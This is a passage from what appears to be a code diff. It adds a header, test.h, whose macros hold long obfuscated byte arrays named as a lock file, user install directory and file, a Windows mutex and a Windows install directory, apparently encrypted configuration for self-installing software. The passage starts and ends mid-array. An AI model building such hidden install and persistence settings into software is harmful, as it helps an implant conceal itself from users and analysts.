0xf8, 0x7f, 0x2b, 0xca, 0x02, 0xf7, 0x6d, 0x89, 0x3c, 0x76, 0xb1, 0x61, 0xfc, 0xb5, 0x70, 0x9d, 0x83, 0x30, 0x5c, 0x4c, 0xaf, 0x8b, 0x2a, 0xd3, 0xda, 0x5e, 0x93, 0x34, 0x4e, 0xa8, 0x5e, 0x48, 0xa7, 0x89, 0x92, 0xaa, 0x01, 0x00, 0xb3, 0x3d, 0x76, 0x66, 0x1e, 0x74, 0x9b, 0x8e, 0x91, 0x1f, 0xbe, 0xed, 0xea, 0x6e, 0x7a, 0x94, 0x43, 0x55, 0xf3, 0x56, 0x09, 0xc1, 0x7e, 0x67, 0x0a, 0x27, 0x70, 0x1c, 0x51, 0xf0, 0x1c, 0x84, 0x2e, 0x13, 0xea, 0xcb, 0x07, 0x87, 0x5a, 0x98, 0x26, 0x98, 0x07, 0x91, 0x08, 0x01, 0x26, 0xca, 0xd5, 0x99, 0x21, 0xde, 0x5c, 0x1f, 0xc6, 0xe5, 0xc5, 0xb6, 0x03, 0x96, 0xa8, 0x9e, 0x1c, 0x56, 0x31, 0x07, 0x23, 0xb7, 0x0e, 0xfc, 0xd0, 0xb4, 0x96, 0xd7, 0x46, 0x1e, 0x58, 0xeb, 0xe8, 0x2e, 0x86, 0x89, 0x8c, 0xe2, 0xa8, 0x53, 0x48, 0x6f, 0x0b, 0xca, 0x06, 0x33, 0xe9, 0x22, 0x89, 0x1b, 0xa9, 0x2c, 0x53, 0x37, 0x2a, 0x24, 0xeb, 0x40, 0x7b, 0x32, 0x5e, 0xd3, 0x1f, 0x47, 0x81, 0x25, 0x50, 0x0e, 0x87, 0xf8, 0xe1, 0xcf, 0xe7, 0x6c, 0x9b, 0x6e, 0x9f, 0x05, 0x10, 0xa8, 0x9f, 0x39, 0x55, 0xf2, 0x71, 0xfe, 0x96, 0xdc, 0x3f, 0x12, 0x8f, 0x1d, 0x65, 0xae, 0xe3, 0xe6, 0x53, 0x34, 0xf5, 0xda, 0xac, 0x57, 0x2a, 0x15, 0xc3, 0x45, 0x83, 0xe2, 0x4a, 0x13, 0x8b, 0xea, 0x4d, 0xe0, 0xdd, 0x3e, 0x5f, 0x75, 0x1b, 0x9e, 0x07, 0xaa, 0xbb, 0x6d, 0xd8, 0x1f, 0xd3, 0x2c, 0x53, 0x49, 0x07, 0x80};
#endif

13
test.h Normal file
View File

@ -0,0 +1,13 @@
#ifndef LAIKA_VMBOX_CONFIG_H
#define LAIKA_VMBOX_CONFIG_H
#define LAIKA_LIN_LOCK_FILE {0xf1, 0xaa, 0xb3, 0xae, 0xf1, 0xe9, 0xbd, 0xbf, 0xe6, 0xeb, 0xeb, 0xea, 0x1c, 0xd4, 0x0c, 0xb0, 0x98, 0xe2, 0x58, 0x7d, 0xed, 0x3a, 0x55, 0x72, 0x08, 0x30, 0x64, 0x1b, 0x9b, 0xf6, 0x06, 0xc1, 0x18, 0x17, 0xd3, 0x36, 0xd4, 0x2d, 0x63, 0x9a, 0x1d, 0xfd, 0x97, 0xb8, 0xd2, 0x23, 0x69, 0xeb, 0x06, 0x41, 0x69, 0x74, 0x7c, 0x3e, 0xe6, 0x84, 0x6e, 0x4b, 0x1f, 0x0b, 0x42, 0x25, 0xcc, 0xd9, 0xbc, 0xa0, 0x8f, 0x11, 0x4d, 0xf3, 0xac, 0x6a, 0xf1, 0x44, 0xa2, 0xc5, 0x67, 0x8c, 0xb1, 0xec, 0xcd, 0x9a, 0x61, 0x4a, 0xd9, 0xc7, 0x4f, 0x48, 0x14, 0x6e, 0xd2, 0xd5, 0x14, 0x1f, 0x30, 0xd0, 0xbf, 0xbf, 0xe1, 0x8c, 0xb3, 0x8e, 0x76, 0x26, 0x52, 0x1a, 0x6b, 0x39, 0xa6, 0x9c, 0xa6, 0xf3, 0x37, 0x08, 0x3f, 0x90, 0xd0, 0x8e, 0x59, 0x64, 0x7c, 0x2c, 0xb9, 0x90, 0x4c, 0x69, 0x61, 0x8b, 0x2a, 0xc3, 0x19, 0x5d, 0xd1, 0x8f, 0x03, 0x25, 0x29, 0x6e, 0xdd, 0x4f, 0x0b, 0x84, 0x44, 0xc2, 0x8d, 0x83, 0xd2, 0xdd, 0x91, 0x2c, 0xc1, 0x0e, 0xd8, 0x7b, 0x1f, 0xa4, 0x65, 0x80, 0xaf, 0x8f, 0x44, 0x48, 0x6c, 0x17, 0xd8, 0x70, 0xbb, 0x81, 0xde, 0x99, 0xd1, 0x6a, 0x9e, 0x16, 0xac, 0x2c, 0x19, 0x7f, 0x89, 0x2a, 0x2c, 0x4b, 0x38, 0x84, 0x46, 0xd6, 0x29, 0xab, 0x58, 0x58, 0xba, 0x1c, 0xa1, 0x28, 0xb2, 0xf9, 0x18, 0x6e, 0x7b, 0x76, 0x88, 0x4d, 0xe0, 0x27, 0xe2, 0x8d, 0xd2, 0xfb, 0x8d, 0xdb, 0x26, 0x39, 0xa6, 0xde, 0xbd, 0xec, 0xb5, 0x66, 0x19, 0x8d, 0xbe, 0x53, 0x2a, 0xdf, 0x7b, 0xdc, 0xd9, 0x93, 0xcb, 0x56, 0x8a, 0xd3, 0x23, 0x6b, 0xfa, 0x86, 0x79, 0x4d, 0x82, 0x86, 0xa8, 0x29, 0xbf, 0x4f, 0x87, 0xfc, 0x3c, 0xbc, 0x63, 0xd4, 0xca, 0xa1, 0x29, 0xf4, 0x82, 0x24, 0xd1, 0x5c, 0x38, 0x1d, 0x32, 0xc2, 0xf0, 0xd5, 0xad, 0x6b, 0x5c, 0x27, 0xb8, 0x5e, 0xad, 0x61, 0x87, 0x6d, 0x30, 0x8e, 0x6a, 0xec, 0xcb, 0x4d, 0xc1, 0x96, 0xef, 0x6a, 0x0b, 0xf1, 0x8f, 0x5c, 0xcd, 0x47, 0x7a, 0x01, 0x0a, 0x6b, 0xd6, 0xb7, 0x57, 0xb2, 0xdf, 0x10, 0x11, 0x0d, 0xf1, 0x99, 0xfa, 0xa1, 0xa7, 0xe4, 0x8e, 0x73, 0x33, 0x51, 0x89, 0xa2, 0x3b, 0x94, 0x14, 0xca, 0xf1, 0xe1, 0x12, 0x6c, 0x62, 0x9b, 0x57, 0x39, 0x54, 0xae, 0xeb, 0xb3, 0x3f, 0x7d, 0x40, 0xb0, 0x17, 0x3b, 0x52, 0x3e, 0xa0, 0xe1, 0x32, 0x53, 0xb2, 0xbb, 0xf5, 0xed, 0x51, 0x89, 0x39, 0x43, 0x6b, 0xca, 0x2f, 0xce, 0x67, 0x86, 0x87, 0x3b, 0xb5, 0xf3, 0x6e, 0xf4, 0x71, 0x2e, 0x25, 0x08, 0x6a, 0x77, 0x46, 0x8a, 0xd8, 0x78, 0xdd, 0x0b, 0xb4, 0x53, 0xf9, 0x06, 0xdc, 0xb2, 0xc8, 0x48, 0x7d, 0x77, 0x96, 0x64, 0xfd, 0x9e, 0x1f, 0x33, 0x92, 0x0d, 0x28, 0x83, 0x3c, 0xcc, 0x0b, 0x26, 0x45, 0xd0, 0xb0, 0x9d, 0xc9, 0x8e, 0xa9, 0x7e, 0xe1, 0x23, 0x04, 0xbe, 0xd5, 0xcc, 0x86, 0xd2, 0x44, 0x1e, 0x38, 0xc1, 0x3c, 0xd6, 0xf5, 0xce, 0xe4, 0x9d, 0xd1, 0x21, 0x6b, 0xdc, 0x47, 0x30, 0xad, 0xf7, 0xcd, 0x77, 0x86, 0xf6, 0xf5, 0xe7, 0x1a, 0xf9, 0xa6, 0xef, 0x46, 0xac, 0xc3, 0x0a, 0xca, 0x7b, 0xcc, 0x86, 0xd1, 0x42, 0x55, 0xb6, 0x5f, 0xa6, 0x57, 0x4a, 0x83, 0x9e, 0xf9, 0xb1, 0x16, 0x48, 0x29, 0x1c, 0x3f, 0x9f, 0x04, 0x5a, 0x19, 0x2a, 0x4a, 0xdf, 0xd7, 0x8d, 0xe9, 0x22, 0x88, 0xb6, 0xa9, 0x5b, 0x78, 0x7e, 0x12, 0xd8, 0x26, 0xe9, 0xa2, 0x29, 0x88, 0x9d, 0x5a, 0x1f, 0xe5, 0x84, 0x3b, 0x25, 0xa3, 0xbf, 0xfe, 0x3c, 0xe9, 0x4a, 0x1c, 0x41, 0x57, 0x07, 0xe3, 0xe0, 0x3d, 0x8d};
#define LAIKA_LIN_INSTALL_DIR_USER {0xf0, 0xad, 0xa7, 0xad, 0x3c, 0xb6, 0x8b, 0xcd, 0x0f, 0x31, 0xb7, 0x31, 0x5b, 0xc0, 0xce, 0xb5, 0xdf, 0x34, 0xb9, 0x9a, 0xd9, 0xdc, 0x5a, 0xd8, 0x1a, 0xc4, 0xa2, 0xb5, 0x85, 0xfa, 0xbc, 0x69, 0xdb, 0x7a, 0x76, 0x18, 0x31, 0x03, 0x65, 0xbf, 0xb3, 0x1e, 0xf0, 0x8e, 0xde, 0x40, 0x45, 0x3e, 0xf3, 0x7e, 0xd8, 0xcd, 0xdb, 0x34, 0x27, 0x75, 0x78, 0xc9, 0x2b, 0xfd, 0xc4, 0x68, 0xe7, 0xa0, 0xe2, 0x5e, 0x38, 0x93, 0xe0, 0x9e, 0xd2, 0x95, 0x3c, 0x43, 0x24, 0x1b, 0x83, 0xe8, 0x59, 0xf7, 0xe7, 0xb1, 0xc5, 0xc3, 0xe5, 0x6c, 0xb8, 0xdd, 0x37, 0xe3, 0xdc, 0xfb, 0xcb, 0x44, 0x1d, 0x2e, 0xa2, 0xd4, 0xc1, 0x04, 0x73, 0x94, 0x99, 0x2f, 0xd8, 0x3d, 0xc9, 0xdb, 0x27, 0xa2, 0xd3, 0x8e, 0x55, 0x1a, 0x52, 0x3b, 0x86, 0x0b, 0x99, 0x3d, 0x6e, 0xf5, 0x3a, 0xba, 0x3a, 0xd6, 0xe8, 0xdc, 0xab, 0x2b, 0xe0, 0x9f, 0xbf, 0xf9, 0xce, 0x18, 0x38, 0x99, 0x74, 0xde, 0x3c, 0xc7, 0x6d, 0x91, 0xe1, 0x3f, 0x4d, 0xe8, 0xc9, 0xe6, 0x26, 0x38, 0xdc, 0xdf, 0x72, 0x17, 0xb6, 0x5c, 0x73, 0xe2, 0x87, 0xd4, 0x82, 0xc6, 0xce, 0xd0, 0x5f, 0x86, 0xe9, 0xd3, 0x65, 0x27, 0x9b, 0x52, 0x38, 0xfd, 0x91, 0x05, 0xe6, 0x5b, 0x6b, 0x8c, 0x14, 0xc7, 0xec, 0x86, 0x5e, 0x23, 0x62, 0xd2, 0x06, 0x69, 0x27, 0x08, 0x31, 0x75, 0xd9, 0x90, 0xfc, 0x43, 0x64, 0xe1, 0x6a, 0x7f, 0xb4, 0x23, 0x7d, 0x46, 0x28, 0xe3, 0x22, 0x14, 0x71, 0x36, 0xdb, 0xdd, 0x3c, 0x3b, 0x01, 0x9f, 0x8d, 0x87, 0x09, 0xb4, 0x8f, 0xb9, 0x2a, 0xe8, 0x4a, 0xa6, 0x2d, 0x2e, 0x09, 0x17, 0x2e, 0xbd, 0xb9, 0xab, 0x83, 0x62, 0x90, 0xa5, 0x76, 0x81, 0x5b, 0x52, 0xde, 0x98, 0x8d, 0xdf, 0xb7, 0x9a, 0x67, 0x40, 0x4f, 0x77, 0xfa, 0xf9, 0xdf, 0xc4, 0xa0, 0x8c, 0x73, 0xa9, 0x24, 0xa1, 0xe6, 0xdd, 0xcc, 0x6b, 0xbf, 0x5d, 0x90, 0x36, 0x5e, 0xec, 0x09, 0x3d, 0x05, 0x96, 0x9d, 0x3c, 0x32, 0x84, 0xfb, 0x01, 0xfb, 0x76, 0xfa, 0x5c, 0x3c, 0x1c, 0xe8, 0x2f, 0x45, 0x8c, 0x50, 0x2d, 0xea, 0x1d, 0x18, 0xaa, 0xfa, 0xa8, 0xe1, 0x59, 0x15, 0xea, 0x17, 0x1a, 0x01, 0xb4, 0xd5, 0xb2, 0x39, 0xd2, 0x34, 0xb5, 0x49, 0x2f, 0x12, 0x05, 0x4b, 0x7a, 0xb3, 0x91, 0x87, 0x04, 0x3e, 0x72, 0x22, 0x56, 0x1d, 0x1d, 0xfe, 0x7e, 0xf5, 0x94, 0x69, 0x0d, 0x2e, 0xea, 0x41, 0x05, 0x1d, 0x7b, 0xd7, 0x51, 0x31, 0xa0, 0x81, 0xc2, 0x26, 0x4c, 0xbc, 0xd9, 0x5d, 0x44, 0xde, 0x9b, 0xb6, 0x80, 0x71, 0x54, 0x1d, 0xf0, 0xd2, 0x13, 0x85, 0xbc, 0xa0, 0xb3, 0x27, 0xe1, 0xb8, 0x44, 0xdc, 0x10, 0x96, 0x0e, 0x31, 0x97, 0x50, 0x57, 0x63, 0x8d, 0x31, 0x41, 0xd1, 0x10, 0xdc, 0x09, 0x10, 0xce, 0xdc, 0x2d, 0xbf, 0xaf, 0x41, 0x45, 0xeb, 0x61, 0xf8, 0x13, 0x43, 0xb2, 0x58, 0x21, 0x42, 0x6e, 0xae, 0x73, 0x85, 0x7f, 0xca, 0x68, 0x0d, 0xfc, 0xa9, 0x5e, 0x8c, 0x87, 0x67, 0x9d, 0x56, 0x44, 0x4a, 0x95, 0x74, 0x8b, 0xda, 0x60, 0xec, 0xd3, 0xf3, 0xb0, 0x06, 0x4c, 0xd1, 0x49, 0x3a, 0x00, 0x3c, 0x3f, 0x7f, 0x08, 0xa7, 0x8c, 0x84, 0x52, 0xeb, 0x90, 0x59, 0xd2, 0xad, 0x2f, 0x18, 0xf8, 0xc4, 0x0c, 0x04, 0x9f, 0x6c, 0x71, 0x73, 0x60, 0x22, 0xf9, 0x2c, 0x73, 0xc2, 0xe5, 0x73, 0xfe, 0x25, 0xf3, 0x86, 0xcd, 0x00, 0x8a, 0x9f, 0xeb, 0x1c, 0xf8, 0xbf, 0x49, 0x28, 0x57, 0xc1, 0x6c, 0xe2, 0xc6, 0x0c, 0xce, 0x38, 0xfe, 0xaf, 0xd9, 0xf8, 0xdb, 0x4d, 0xbb, 0x42, 0xc0, 0x3b, 0xe6, 0xb4, 0xc1, 0x34, 0xb5, 0x4d, 0xd3};
#define LAIKA_LIN_INSTALL_FILE_USER {0xf0, 0xab, 0xae, 0xba, 0xbf, 0xaa, 0xbb, 0x21, 0xe8, 0x4c, 0x60, 0x32, 0xf3, 0x37, 0xf4, 0x60, 0x1a, 0x3b, 0xeb, 0xe9, 0x73, 0xeb, 0x19, 0x4d, 0x64, 0x74, 0x9a, 0xa0, 0xb6, 0x5b, 0x5b, 0x9e, 0x90, 0x1d, 0x52, 0xc5, 0xe9, 0x27, 0xe6, 0xd2, 0xf2, 0xc7, 0x06, 0xe7, 0xfe, 0x7a, 0x48, 0x99, 0xb5, 0xb4, 0x03, 0xa8, 0x20, 0x1c, 0xf5, 0x84, 0x90, 0x10, 0xa4, 0xc7, 0xea, 0x7f, 0x66, 0xfa, 0x9d, 0x38, 0xc0, 0x87, 0x5f, 0x28, 0x5b, 0x53, 0xef, 0xe0, 0xba, 0x6e, 0xda, 0x82, 0x87, 0x90, 0x37, 0x8a, 0x39, 0x57, 0x26, 0xae, 0x5c, 0xb7, 0xbe, 0x80, 0x7f, 0x29, 0x01, 0x65, 0x25, 0x9e, 0x1d, 0xe5, 0xa5, 0xfc, 0x8d, 0x80, 0x50, 0xfc, 0xe0, 0x8a, 0x6c, 0xbb, 0x0d, 0x73, 0x4c, 0x45, 0xfe, 0x05, 0x9c, 0xa4, 0xb3, 0x78, 0xdb, 0xf1, 0xf9, 0xda, 0x1c, 0xfa, 0xbf, 0x41, 0x19, 0xdd, 0xa6, 0xbe, 0xda, 0x35, 0xbf, 0xaa, 0x32, 0xa0, 0x35, 0x1e, 0x5d, 0x42, 0x92, 0x29, 0x07, 0x11, 0x2f, 0x24, 0xb5, 0x62, 0x9c, 0x92, 0x55, 0x96, 0xec, 0x71, 0x11, 0xad, 0x32, 0x2a, 0x8b, 0xd8, 0xe9, 0x66, 0x8d, 0x29, 0x11, 0xc0, 0xc9, 0x46, 0x5e, 0xa6, 0x08, 0xf0, 0xd0, 0x8f, 0x81, 0x7f, 0xb3, 0xb7, 0xe1, 0x50, 0xc9, 0xb6, 0x67, 0xb6, 0xa7, 0x78, 0x64, 0xd9, 0xa3, 0xef, 0x33, 0x0d, 0xd5, 0xc0, 0x36, 0xe6, 0x01, 0x7f, 0xac, 0x60, 0x27, 0x35, 0xd0, 0xf7, 0xc4, 0xd2, 0xf6, 0x78, 0x8a, 0xd8, 0x48, 0x54, 0x10, 0x2f, 0x0b, 0xb7, 0xa8, 0xef, 0x12, 0xcb, 0xdf, 0x45, 0xd8, 0xb6, 0x85, 0x8e, 0x1d, 0x07, 0x0e, 0xca, 0xe6, 0x35, 0x7f, 0xb7, 0xac, 0x44, 0x8a, 0xa3, 0x3c, 0x94, 0xfc, 0x84, 0xe8, 0x0d, 0xb4, 0x74, 0x44, 0xdc, 0xe3, 0x56, 0xa8, 0xc3, 0x1b, 0x01, 0xf9, 0x21, 0x0f, 0x97, 0x28, 0x9c, 0xe1, 0x0f, 0x52, 0x61, 0x46, 0xfe, 0xa5, 0x51, 0x23, 0x61, 0xe5, 0x9f, 0xe5, 0x4f, 0x2c, 0x1a, 0xc3, 0x70, 0x76, 0xa7, 0x47, 0x9e, 0xea, 0x62, 0x1f, 0x65, 0x03, 0x2e, 0xfc, 0xaa, 0x4b, 0x5e, 0xb9, 0x9d, 0xbf, 0x80, 0x1c, 0xe4, 0xd1, 0xbe, 0x46, 0xb7, 0x5e, 0xab, 0x07, 0x8a, 0x46, 0x4a, 0x7b, 0x3c, 0x71, 0xc2, 0xdb, 0x5d, 0xa4, 0xfa, 0x42, 0xa8, 0xa9, 0xbe, 0x53, 0x74, 0x1d, 0x8d, 0x12, 0x5c, 0x8d, 0xad, 0x41, 0x5f, 0x6d, 0x07, 0x96, 0xcb, 0x32, 0x9e, 0xd6, 0xf7, 0x68, 0x52, 0x35, 0xda, 0x94, 0x11, 0xb7, 0x39, 0x8b, 0xf9, 0x61, 0xb4, 0xb8, 0x35, 0x29, 0x55, 0x42, 0xba, 0xb1, 0xcf, 0x69, 0x72, 0x2f, 0x56, 0xf8, 0x45, 0x22, 0x2b, 0xe3, 0x78, 0x24, 0xcc, 0x4a, 0x59, 0xa7, 0x5e, 0xe9, 0x5f, 0x98, 0xf4, 0xd8, 0x79, 0x2a, 0x91, 0x2e, 0xd2, 0x66, 0x70, 0x8e, 0x18, 0xbf, 0x77, 0x0a, 0x6e, 0xcd, 0x03, 0xb4, 0x6f, 0x2e, 0x18, 0x68, 0xd1, 0xe4, 0xb2, 0xaa, 0x0c, 0x12, 0x14, 0xea, 0x2a, 0x0a, 0xc3, 0x23, 0xb3, 0xd4, 0xd1, 0x86, 0x3b, 0xc1, 0x94, 0xd2, 0x82, 0x0c, 0xdc, 0x70, 0x59, 0xdf, 0x25, 0x49, 0x8e, 0xbd, 0xb1, 0x60, 0x22, 0xe3, 0x8b, 0x2f, 0x75, 0x9f, 0x99, 0x1f, 0xa9, 0x5e, 0x43, 0x5d, 0x33, 0x94, 0x64, 0xee, 0x56, 0xf8, 0xc1, 0xd8, 0x85, 0x9f, 0x4a, 0xde, 0xfe, 0xee, 0xa7, 0x8d, 0x2c, 0x59, 0x6e, 0x4f, 0xbd, 0xf9, 0xfd, 0x33, 0x99, 0x97, 0xd2, 0xc3, 0xf5, 0x95, 0x21, 0xa9, 0x2a, 0x85, 0x98, 0x80, 0xfe, 0x5a, 0xd9, 0x84, 0x79, 0xa3, 0xe2, 0x79, 0x12, 0x8b, 0x86, 0x3f, 0x64, 0xf4, 0x8e, 0xa1, 0xee, 0x8c, 0x55, 0x09, 0x24, 0x28, 0xcc, 0x9a, 0xbd, 0xed, 0x44, 0xe7, 0xf3, 0x5c, 0xe7, 0x72, 0x36};
#define LAIKA_WIN_MUTEX {0xe9, 0xbd, 0xbf, 0xe6, 0xeb, 0xeb, 0xea, 0xf0, 0xee, 0xc1, 0xf6, 0x30, 0x65, 0x59, 0xa9, 0x78, 0x64, 0xaf, 0xb7, 0x49, 0xa5, 0xc5, 0xea, 0x14, 0xd1, 0x40, 0x1d, 0xf5, 0xe7, 0x69, 0x10, 0xa5, 0x58, 0xd3, 0x0d, 0xcb, 0x30, 0xf5, 0xbd, 0xe6, 0xb7, 0x34, 0x17, 0x9d, 0x8d, 0x40, 0x95, 0x72, 0xef, 0xcc, 0xbb, 0x15, 0x92, 0x26, 0xa9, 0x64, 0xe6, 0xc6, 0xd9, 0xce, 0xb0, 0x6a, 0xf4, 0x88, 0x3e, 0x02, 0x54, 0xee, 0xf7, 0x12, 0xd5, 0x30, 0xc5, 0xec, 0x4d, 0x53, 0x2d, 0x62, 0x45, 0x9c, 0x2f, 0x80, 0xb2, 0x41, 0xa7, 0x5c, 0x25, 0x0e, 0xa2, 0x7e, 0xdc, 0x53, 0xe8, 0x51, 0xdb, 0x28, 0x54, 0xaf, 0x17, 0xcb, 0x41, 0x6c, 0x7b, 0x07, 0x59, 0x48, 0xda, 0x06, 0xaa, 0x20, 0xa2, 0xd9, 0xa1, 0xd4, 0x9a, 0xc8, 0xb0, 0xbf, 0xd6, 0xd3, 0xbe, 0x33, 0xa6, 0xa7, 0x85, 0x83, 0x4f, 0x59, 0xb2, 0xe5, 0x25, 0x74, 0x52, 0x21, 0xfa, 0x2b, 0x69, 0xd5, 0x31, 0x15, 0x76, 0x54, 0x6e, 0x97, 0xa8, 0x0a, 0x60, 0x5a, 0x49, 0xb6, 0x2e, 0x87, 0x69, 0xd4, 0x30, 0xee, 0xd7, 0xfe, 0xc7, 0x0b, 0x65, 0xed, 0x7f, 0x37, 0x0f, 0x7a, 0x63, 0xf7, 0xd0, 0x14, 0x0d, 0x47, 0xe7, 0x7c, 0xde, 0x91, 0x06, 0xbe, 0xeb, 0xce, 0xf4, 0x99, 0x57, 0x5e, 0xed, 0x87, 0xcd, 0x46, 0x06, 0x95, 0x51, 0x6b, 0x03, 0xd0, 0xa3, 0x12, 0xca, 0x86, 0x0b, 0x9b, 0x9a, 0x97, 0x62, 0x83, 0x14, 0xc0, 0x94, 0x99, 0xfe, 0x00, 0x69, 0xf3, 0x99, 0xc0, 0xd2, 0x07, 0xc7, 0xa0, 0x4d, 0xcd, 0x36, 0x9e, 0xb9, 0x3a, 0xee, 0xdc, 0xcb, 0x3a, 0x63, 0x56, 0xd5, 0x7d, 0xee, 0xb8, 0x80, 0x82, 0x79, 0x15, 0x9c, 0xf8, 0x15, 0x06, 0xec, 0x2e, 0xc6, 0xbf, 0xb5, 0x0e, 0xdf, 0x03, 0xdb, 0x96, 0x22, 0x15, 0xd0, 0x90, 0xf1, 0x1c, 0xca, 0xd4, 0xf2, 0x21, 0x53, 0x61, 0xd9, 0xd3, 0xe3, 0xd2, 0xe9, 0x80, 0xcb, 0x7e, 0x06, 0xb9, 0xad, 0xcc, 0xf8, 0x63, 0x5a, 0xd9, 0xe5, 0x37, 0xef, 0x08, 0xcb, 0xc0, 0x99, 0xbe, 0x5c, 0xe3, 0x13, 0x4f, 0x05, 0x66, 0xb0, 0xde, 0x3b, 0x15, 0xb2, 0xa4, 0x15, 0xfd, 0xa2, 0x1c, 0x37, 0x50, 0x68, 0x31, 0x33, 0xc3, 0x8a, 0x99, 0x7a, 0x7a, 0x21, 0x46, 0xba, 0x3a, 0x84, 0x96, 0x1f, 0x98, 0xe6, 0x24, 0x7e, 0x17, 0x83, 0x39, 0xab, 0xb5, 0x5d, 0xc1, 0xb3, 0x01, 0xdd, 0xeb, 0xd0, 0xc5, 0x9c, 0x84, 0x89, 0xa6, 0x1e, 0x83, 0xa0, 0x3f, 0xca, 0x5b, 0x7a, 0xce, 0x71, 0x19, 0xe6, 0xd7, 0x3d, 0x66, 0xef, 0x40, 0x1f, 0x9b, 0xf5, 0x7d, 0xdc, 0x2a, 0x7e, 0xba, 0x95, 0xce, 0x01, 0xb1, 0x53, 0x0a, 0x58, 0x71, 0x8e, 0xf8, 0x31, 0xd8, 0xd3, 0xab, 0xa7, 0x45, 0xc4, 0x0f, 0x1e, 0x81, 0xf4, 0x8d, 0x42, 0x14, 0xa8, 0xb7, 0x11, 0x86, 0xe1, 0x0f, 0xc0, 0xf6, 0xde, 0xc1, 0xa8, 0x32, 0xcc, 0x01, 0x24, 0xda, 0x79, 0x55, 0xb3, 0x4d, 0x01, 0xda, 0x13, 0x45, 0xe9, 0xb0, 0x46, 0x5e, 0xbd, 0x88, 0xf2, 0x66, 0xc0, 0x04, 0x6c, 0xa2, 0x93, 0x2e, 0x9a, 0x72, 0xef, 0x43, 0x24, 0x3c, 0xc4, 0x48, 0x17, 0x3e, 0x9d, 0x4a, 0x0c, 0x1e, 0x26, 0x9e, 0xe2, 0x8f, 0xce, 0xa9, 0xee, 0x8c, 0xb1, 0x61, 0x72, 0x72, 0xe4, 0xdf, 0x95, 0x78, 0x0e, 0x30, 0x6a, 0x7d, 0xf2, 0x0f, 0x3a, 0xb7, 0x57, 0x51, 0x76, 0x75, 0x9c, 0x82, 0x13, 0x42, 0x21, 0x76, 0xd1, 0xef, 0x20, 0x40, 0xfb, 0x51, 0xa1, 0x6e, 0xc4, 0x07, 0x4e, 0xd9, 0x7f, 0xdb, 0x89, 0x6a, 0x5a, 0x7c, 0x79, 0x14, 0xb4, 0xd0, 0xe4, 0x2b, 0xc5, 0x81, 0x2d, 0x59, 0x43, 0xcd, 0xcf, 0x95, 0x3d, 0x6f, 0x55, 0x39};
#define LAIKA_WIN_INSTALL_DIR {0x93, 0xb7, 0xbd, 0xac, 0xb1, 0xad, 0xb1, 0xb8, 0xaa, 0xc0, 0xf7, 0x27, 0x05, 0x7e, 0xf5, 0xde, 0xfd, 0xd1, 0x68, 0x68, 0xab, 0x65, 0xe1, 0xbf, 0x1a, 0x33, 0xa5, 0xc4, 0x78, 0xa6, 0x71, 0xd1, 0x6a, 0x3f, 0xa1, 0x00, 0x7c, 0x90, 0x55, 0x35, 0x52, 0xcc, 0x5c, 0x57, 0x4b, 0x52, 0xb6, 0xc9, 0xa4, 0x1f, 0x32, 0x50, 0x84, 0x94, 0x90, 0x1e, 0x47, 0x36, 0xe2, 0xbf, 0x5c, 0x54, 0x92, 0xc6, 0x13, 0xb3, 0xc6, 0x0f, 0x45, 0x9c, 0x44, 0x17, 0x69, 0x21, 0x6e, 0x35, 0xf2, 0x25, 0xfe, 0x97, 0xc4, 0x31, 0x68, 0x49, 0x45, 0xf8, 0x68, 0x8c, 0xae, 0xca, 0x4d, 0x0b, 0x9f, 0x5f, 0xd2, 0xb2, 0x92, 0x19, 0xc2, 0x57, 0xb5, 0x86, 0x6e, 0x20, 0x27, 0x5d, 0x55, 0x1b, 0x02, 0xd3, 0x32, 0xc6, 0x05, 0x9a, 0x90, 0xca, 0x93, 0xf8, 0x57, 0x42, 0x43, 0x24, 0xcd, 0xe2, 0x83, 0xa0, 0x16, 0x17, 0xb9, 0x58, 0xed, 0xef, 0xde, 0x5d, 0x8f, 0x86, 0xba, 0xe4, 0xa1, 0xbc, 0x38, 0xd3, 0x04, 0x3d, 0xee, 0x94, 0x87, 0x02, 0x0d, 0xdf, 0xc4, 0x50, 0x04, 0x92, 0xb3, 0x08, 0x33, 0xc9, 0x9e, 0x6c, 0x22, 0x8c, 0x5c, 0x80, 0xe9, 0xeb, 0x07, 0x24, 0x50, 0x28, 0xe1, 0x08, 0x7c, 0x65, 0x46, 0x6b, 0xf9, 0xcd, 0x6d, 0x07, 0x2d, 0x32, 0x57, 0x32, 0xc4, 0x8a, 0x3a, 0x77, 0x54, 0x58, 0x64, 0xf5, 0xe4, 0x40, 0xf6, 0xcf, 0xac, 0xfd, 0x73, 0x7c, 0xa6, 0xd4, 0x85, 0x23, 0x3a, 0x4b, 0x8e, 0x34, 0x98, 0xfb, 0x3b, 0xc6, 0xae, 0x13, 0x78, 0x73, 0x1d, 0x32, 0x6b, 0xf1, 0x8a, 0x4f, 0xe7, 0x6f, 0x8f, 0x5e, 0xbe, 0xbb, 0x5d, 0x33, 0x39, 0x83, 0x08, 0x3e, 0xa6, 0xc2, 0x89, 0x35, 0xf6, 0x22, 0xb0, 0xb2, 0x68, 0x5f, 0x45, 0x60, 0x53, 0x62, 0x92, 0xbe, 0x54, 0x9c, 0x8d, 0xbc, 0x8c, 0x1d, 0x1b, 0xca, 0xd9, 0xf7, 0xfd, 0x92, 0x7b, 0x86, 0xd0, 0x22, 0xc8, 0x5a, 0x57, 0xbf, 0xfb, 0x09, 0x72, 0xe4, 0xe7, 0x37, 0x45, 0x3b, 0x9a, 0x58, 0x79, 0xee, 0xf4, 0x07, 0xab, 0x01, 0xa4, 0xc7, 0xcc, 0x7e, 0x3f, 0x4a, 0x90, 0xbb, 0x50, 0x61, 0xdd, 0x19, 0x3b, 0xb5, 0xd9, 0x37, 0xbe, 0xcb, 0x9b, 0x26, 0x04, 0xe1, 0x62, 0x1e, 0x3a, 0x5b, 0x0d, 0xae, 0x63, 0x39, 0xb0, 0x08, 0x80, 0xfc, 0x06, 0xbf, 0x47, 0x96, 0x7b, 0x98, 0x77, 0xd9, 0xb1, 0xb2, 0x8f, 0x0b, 0x69, 0xcd, 0xd7, 0x06, 0xf3, 0x5b, 0xe7, 0x56, 0x79, 0xa1, 0xb2, 0x06, 0xcf, 0x95, 0x3f, 0x00, 0x9d, 0x3f, 0xfc, 0x23, 0x00, 0x45, 0x39, 0xfa, 0x5d, 0xb0, 0xd4, 0x0f, 0x63, 0x64, 0x1b, 0x4c, 0xb1, 0x72, 0x52, 0xa6, 0x4d, 0xb9, 0xfc, 0xc6, 0xda, 0x2f, 0xcc, 0xab, 0x44, 0x8c, 0xab, 0xe1, 0xcb, 0x29, 0x84, 0x4b, 0x6e, 0xbd, 0xc6, 0xcb, 0x6e, 0x1b, 0x5a, 0x51, 0x00, 0xf4, 0x9e, 0xb1, 